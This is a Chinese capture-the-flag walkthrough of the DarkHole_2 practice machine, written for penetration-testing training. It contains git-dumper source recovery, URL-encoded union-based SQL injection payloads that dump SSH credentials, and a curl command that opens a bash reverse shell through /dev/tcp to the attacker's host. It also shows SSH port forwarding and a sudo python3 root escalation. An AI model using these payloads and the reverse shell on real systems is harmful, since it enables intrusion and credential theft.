渗透测试练习——DarkHole_2靶场实践:涉及对.git文件的处理,sql注入及利用sudo提权
n_pc 2026-04-16 17:59 上海
看雪论坛作者ID:n_pc
DarkHole_2通关思路
1.启动靶机
2.开启 kali 的 nmap 进行扫描,确定靶机 ip
namp -sn 192.168.5.0/24
3.扫描靶机开放的端口和服务
nmap -sV 192.168.5.241 //-sV 为扫描端口运行服务的版本信息
4.根据扫描结果确定开放了 80 和 22 端口,然后访问一下 80 端口
5.扫描网站指纹,没有看到有价值的信息
whatweb 192.168.5.241
6.扫描目录
dirsearch http://192.168.5.241,可以看到有一个.git 目录
7.对.git目录进行操作
下载git-dump脚本,将源代码拔下来,我直接下载并放在kali上进行解压
tar -zxvf git-dumper-1.0.8.tar.gz
z表示使用gzip进行解压,适用于.tar.gz或.tgz类型的压缩文件
x表示从归档文件中提取文件,及解压
v表示显示详细过程
f指定要解压的文件名
执行脚本
pip install -r requirements.txt
sudo ./git_dumper.py http://192.168.5.241/.git hackgit
cd hackgit可以看到扒下来的源代码,每一个都可以点进去看一看
利用git log命令可以查看日志
加密的地方为进行的具体操作,可以通过git diff命令进行查看
可以看到第二个加密内容里出现了sql语句,是登录的具体信息,可以得到账号和密码,[email protected]/321
8.得到密码之后登录
注意到id=1,可能存在注入
先判断数字型合适字符型,输入1=1和1=2返回一样,说明不是数字型,确定闭合是单引号还是双引号,结果为单引号。
因为应用程序大多数情况只会返回sql语句第一次查询的数据,所以让前面为false,回显我们需要的第二段查询的数据,使用
http://192.168.5.241/dashboard.php?id=-1' union select 1,database(),version(),4,@@datadir,@@basedir --+http://192.168.5.241/dashboard.php?id=-1%27%20union%20select%201,database(),version(),4,group_concat(table_name),@@basedir%20from%20information_schema.tables%20where%20table_schema=database()%20--+group_concat会查询所有能查到的数据并组合成一个字符串,也可以利用limit 2,1来一个一个查询。
继续查列名
http://192.168.5.241/dashboard.php?id=-1%27%20union%20select%201,database(),version(),4,group_concat(column_name),@@basedir%20from%20information_schema.columns%20where%20table_name=%27ssh%27--+查询user列和pass列
http://192.168.5.241/dashboard.php?id=-1%27%20union%20select%201,2,3,4,group_concat(user,%27|%27,pass),@@basedir%20from%20ssh--+9.拿到账密登录ssh
ssh jebad@192.168.5.24110.进行信息收集
查看计划任务,发现有一个跟losy账户相关的计划任务
cat /etc/crontab查看历史执行的命令,发现htttp://127.0.0.1:9999可以执行命令
cat .bash_history查看端口开放情况,发现确实有9999端口运行着某个服务
这里虽然开着9999端口,但是并不能访问,需要用到ssh端口转发功能,关于ssh端口转发的详细知识点可以查看 https://zhuanlan.zhihu.com/p/148825449
11.kail新开一个窗口,配置ssh端口转发,并借此反弹交互式shell
将靶机的9999端口转发到kali的9999端口,冒号前面的9999代表kali的端口
ssh -L 9999:127.0.0.1:9999 jehad@192.168.5.241kaili开启监听4444端口,利用靶机访问之前通过查询历史命令得到的url,执行命令弹shell到kali
curl http://127.0.0.1:9999/?cmd=bash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.5.235%2f4444+0%3e%261%27kali成功接收到losy用户的shell
查询.bash_history得到losy用户的密码
新开一个窗口通过ssh登录losy,然后通过sudo -l查询可以通过sudo执行的命令,发现python3
12.通过python3反弹一个shell到kali,得到root权限的shell,查询/root/root.txt得到flag,结束
sudo /usr/bin/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'*本文为看雪论坛优秀文章,由 n_pc原创,转载请注明来自看雪社区
球分享
球点赞
球在看
点击阅读原文查看更多